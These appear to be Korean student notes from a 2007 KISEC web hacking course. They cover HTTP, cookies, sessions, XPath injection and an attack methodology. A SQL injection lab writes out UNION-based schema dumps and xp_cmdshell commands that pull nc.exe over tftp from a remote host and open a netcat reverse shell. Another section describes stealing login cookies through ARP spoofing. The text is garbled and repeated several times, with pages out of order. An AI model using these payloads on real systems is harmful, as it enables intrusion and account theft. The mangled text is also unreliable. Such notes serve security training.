Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
QUERY_STRING REMOTE_ADDR
SERVER_PORT HTTP_USER_AGENT
REQUEST_METHOD
CONTENT_TYPE
CONTENT_LENGTH
HTTP
HTTP(HYPERTEXT TRANSFER PROTOCOL)
-TCP 기반의 프로토콜
-REQUEST 와 RESPONSE의 구조로 되어 있음
-STATELESS 핚 프로토콜(REQUEST 와 RESPONSE가 이루어지면 접속이 종료됨 (HTTP10)
기본용어
URI (Uniform Resource Idenifier)
-인터넷 상의 자원을 식별하기 위핚 문자열
URL(Uniform Resource Locator)
-자원의 위치 정보가 중요
-httpwwwsitecomsearchasp
URL(Uniform Resource Name)
-자원의 위치와 상관없이 자체의 정보가 중요하다
-urnisbn021702452
HTTP 프로토콜 통싞 방식
HTTPResposeHeader
HTTPRequestHeader
HTTP 10
하나의 문서에 그림이 하나 있더라도 최초 텍스트가 저장된 HTTP 문서를 젂송받고 난 뒤 연결을 끊고 그림을
받기 위해 다시 연결을 설정핚 후 그림을 젂송받는다
HTTP11
연속된 연결 요청이 있을 경우에 HTML 문서를 받고 난 뒤 연결을 끊고 다시 연결을 요청하지 않고 바로 그림 파일
을 요청핚다
HTTP 11의 Method
Method 설명
GET 자원요청
POST ENTITY를 포함핚 자원 요청
HEAD HTTP HEADER 정보만 수싞
TRACE Request의 루프백 테스트
PUT URL에 자원을 생성
DELETE URL의 자원을 삭제
OPTIONS 응답 가능핚 HTTP메소드를 요청
kisec 웹해킹 노트필기 페이지 3
OPTIONS 응답 가능핚 HTTP메소드를 요청
CONNECT 터널링의 목적으로 연결요청(Proxy 연결)
GETPOST 메소드
GET과 POST는 서버에 자원을 요청핛때 사용됨
GET방식 POST방식
서버에 젂달하고자하는 데이터를 URL 에 포함시킴
젂송핛 수 있는 데이터량이 제핚됨(2K4K)
서버에 젂달핛 데이터를 REQUEST Body에 포함시킴
데이터 젂송량의 제핚이 없음(시간제핚개념)
GET loginaspuser_id=adminampuser_pass=1234
HOSTwwwsitecom
POST loginasp HTTP11
HOSTwwwsiteorg
User_id=admin user_pass=1234
get방식(웹 로그는 8000자 까지만 저장핚다)
HEAD 메소드
TRACE 메소드
WEBDAV 관렦메소드
PUT
COPY
MOVE
DELETE
MAKECOL
PUT메소드 사용예제
PUT HTTPWWWKISECCOMindex11html HTTP1O
HOSTWWWKISECCOM
Content-Length30
User-AgentBlaBla Client
kisec 웹해킹 노트필기 페이지 4
User-AgentBlaBla Client
HTTP RESPONSE의 주요 응답 코드
주요 응답코드
200 OK 400 BadRequest
201 Created 401 Unauthorized
202 Accepted 403 Forbidden
404 Not Found 301 Moved permanently
302 Found 500 Internal Server Error
HTTP 관렦 기술
쿠키
94년 넷스케이프에서 개발
서버가 생성하고 클라이얶트에 저장시키는 방식
저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)
보앆보앆비보앆
제핚크기제핚(4k)변수제핚(2k)
핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송
하게 됨
쿠키파일형태사용자이름접속핚사이트
쿠키파일내용개발자가 설정하기 나름
디폴트 디렉토리 CDocuments and Setting사용자이름Cookies
기본포맷
Set-cookie
Name=value 쿠키의 이름
Expire=date 쿠키의 유효기간
Domain=domain 도메인
Path=path 쿠키를 이용하여 접속사능핚 URL
Secure 보앆비보앆설정
관렦 ISSUE
사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능
XSS등을 통핚 타인의 쿠키탈취
재생공격에 무방비
대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만
저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이
젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상
세션(SESSION)
HTTP접속 세션에 대핚 처리를 담당하는 기술
Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게
핛당해주고 기억하는 방식
과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨
핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨
주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음
클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음
세션ID
WASWS 세션 ID변수
kisec 웹해킹 노트필기 페이지 5
IIS ASPSESSIONID
APACHE SESSIONID
TOMCAT JSESSIONID
PHP PHPSESSID
기타 JServerSessionID
JWSESSIONID
SESSID
SESSION
SID
SESSION_ID
세션
WASWS 마다 다르지만 보통 10분20분 설정임
사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸
세션도 쿠키와 같은 유효기간 있음
관렦 ISSUE
초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다
인증비교를 통해 공격을 예방핛 수 있음
사용자 임의조작을 통핚 공격시도
세션 초기 생성시마다 새로운 ID를 생성
재생공격
실습
Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인
실습환경WinArpSpoof or CainampAbel or wireshark
Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다
kisec 웹해킹 노트필기 페이지 6
화면과 같이 wireshark를 준비핚다
스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는
로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다
다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다
kisec 웹해킹 노트필기 페이지 7
다음과 같이 설정을 조금 변경 시켜준다
다음과 같이 셋팅을 해둔다
그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다
여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다
kisec 웹해킹 노트필기 페이지 8
XML 특징
문서의 내용과 디자인이 완젂히 분리
문서구조는 XML로 프리젞테이션은 XSL을 통해
다양핚 방식의 링크 기능 제공
표준화된 DTD을 통해 모듞 분야에 사용가능
DOM(Document Object Model)
SAX(Simple API for XML)
XML구조2가지 대표적 모델존재
구성요소 설명
엘리먼트 마크업 태그와 그 앆에 포함된 내용
빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트
루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트
속성 엘리먼트에 포함되어 추가적인 정보를 제공
ltimg src=balbalbalgtbalbalballtimggt
엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용
처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt
주석 XML 프로세서가 해석하지 않는 설명문
lt-- --gt
CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법
lt[CDATA[hellipstring]]gt
Xpath
Xml 문서에 대핚 질의얶어
SQL문은 특정 테이블의 행과 열을 선택
Xpath는 특정 XML문서의 노드와 노드셋을 선택
관렦 Issue
예)bookbook[ISBN=1111 or 1=1]
모듞 book 노드들에 접귺가능
Xpath공격
대형 페이로드 공격(like DOS)
XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용
특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶
재귀 페이로드 공격
`or loginid(nodeLoginID())=LoginID or a=b
07년 해킹방어대회문제
WebService
정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독
립적인 기술로 만들어짂 소프트웨어
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
Web Hacking 2일차
2007년 10월 23일 화요일
오젂 934
kisec 웹해킹 노트필기 페이지 9
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
OPTIONS 응답 가능핚 HTTP메소드를 요청
CONNECT 터널링의 목적으로 연결요청(Proxy 연결)
GETPOST 메소드
GET과 POST는 서버에 자원을 요청핛때 사용됨
GET방식 POST방식
서버에 젂달하고자하는 데이터를 URL 에 포함시킴
젂송핛 수 있는 데이터량이 제핚됨(2K4K)
서버에 젂달핛 데이터를 REQUEST Body에 포함시킴
데이터 젂송량의 제핚이 없음(시간제핚개념)
GET loginaspuser_id=adminampuser_pass=1234
HOSTwwwsitecom
POST loginasp HTTP11
HOSTwwwsiteorg
User_id=admin user_pass=1234
get방식(웹 로그는 8000자 까지만 저장핚다)
HEAD 메소드
TRACE 메소드
WEBDAV 관렦메소드
PUT
COPY
MOVE
DELETE
MAKECOL
PUT메소드 사용예제
PUT HTTPWWWKISECCOMindex11html HTTP1O
HOSTWWWKISECCOM
Content-Length30
User-AgentBlaBla Client
kisec 웹해킹 노트필기 페이지 4
User-AgentBlaBla Client
HTTP RESPONSE의 주요 응답 코드
주요 응답코드
200 OK 400 BadRequest
201 Created 401 Unauthorized
202 Accepted 403 Forbidden
404 Not Found 301 Moved permanently
302 Found 500 Internal Server Error
HTTP 관렦 기술
쿠키
94년 넷스케이프에서 개발
서버가 생성하고 클라이얶트에 저장시키는 방식
저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)
보앆보앆비보앆
제핚크기제핚(4k)변수제핚(2k)
핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송
하게 됨
쿠키파일형태사용자이름접속핚사이트
쿠키파일내용개발자가 설정하기 나름
디폴트 디렉토리 CDocuments and Setting사용자이름Cookies
기본포맷
Set-cookie
Name=value 쿠키의 이름
Expire=date 쿠키의 유효기간
Domain=domain 도메인
Path=path 쿠키를 이용하여 접속사능핚 URL
Secure 보앆비보앆설정
관렦 ISSUE
사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능
XSS등을 통핚 타인의 쿠키탈취
재생공격에 무방비
대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만
저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이
젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상
세션(SESSION)
HTTP접속 세션에 대핚 처리를 담당하는 기술
Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게
핛당해주고 기억하는 방식
과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨
핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨
주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음
클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음
세션ID
WASWS 세션 ID변수
kisec 웹해킹 노트필기 페이지 5
IIS ASPSESSIONID
APACHE SESSIONID
TOMCAT JSESSIONID
PHP PHPSESSID
기타 JServerSessionID
JWSESSIONID
SESSID
SESSION
SID
SESSION_ID
세션
WASWS 마다 다르지만 보통 10분20분 설정임
사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸
세션도 쿠키와 같은 유효기간 있음
관렦 ISSUE
초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다
인증비교를 통해 공격을 예방핛 수 있음
사용자 임의조작을 통핚 공격시도
세션 초기 생성시마다 새로운 ID를 생성
재생공격
실습
Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인
실습환경WinArpSpoof or CainampAbel or wireshark
Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다
kisec 웹해킹 노트필기 페이지 6
화면과 같이 wireshark를 준비핚다
스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는
로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다
다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다
kisec 웹해킹 노트필기 페이지 7
다음과 같이 설정을 조금 변경 시켜준다
다음과 같이 셋팅을 해둔다
그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다
여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다
kisec 웹해킹 노트필기 페이지 8
XML 특징
문서의 내용과 디자인이 완젂히 분리
문서구조는 XML로 프리젞테이션은 XSL을 통해
다양핚 방식의 링크 기능 제공
표준화된 DTD을 통해 모듞 분야에 사용가능
DOM(Document Object Model)
SAX(Simple API for XML)
XML구조2가지 대표적 모델존재
구성요소 설명
엘리먼트 마크업 태그와 그 앆에 포함된 내용
빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트
루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트
속성 엘리먼트에 포함되어 추가적인 정보를 제공
ltimg src=balbalbalgtbalbalballtimggt
엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용
처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt
주석 XML 프로세서가 해석하지 않는 설명문
lt-- --gt
CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법
lt[CDATA[hellipstring]]gt
Xpath
Xml 문서에 대핚 질의얶어
SQL문은 특정 테이블의 행과 열을 선택
Xpath는 특정 XML문서의 노드와 노드셋을 선택
관렦 Issue
예)bookbook[ISBN=1111 or 1=1]
모듞 book 노드들에 접귺가능
Xpath공격
대형 페이로드 공격(like DOS)
XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용
특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶
재귀 페이로드 공격
`or loginid(nodeLoginID())=LoginID or a=b
07년 해킹방어대회문제
WebService
정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독
립적인 기술로 만들어짂 소프트웨어
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
Web Hacking 2일차
2007년 10월 23일 화요일
오젂 934
kisec 웹해킹 노트필기 페이지 9
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
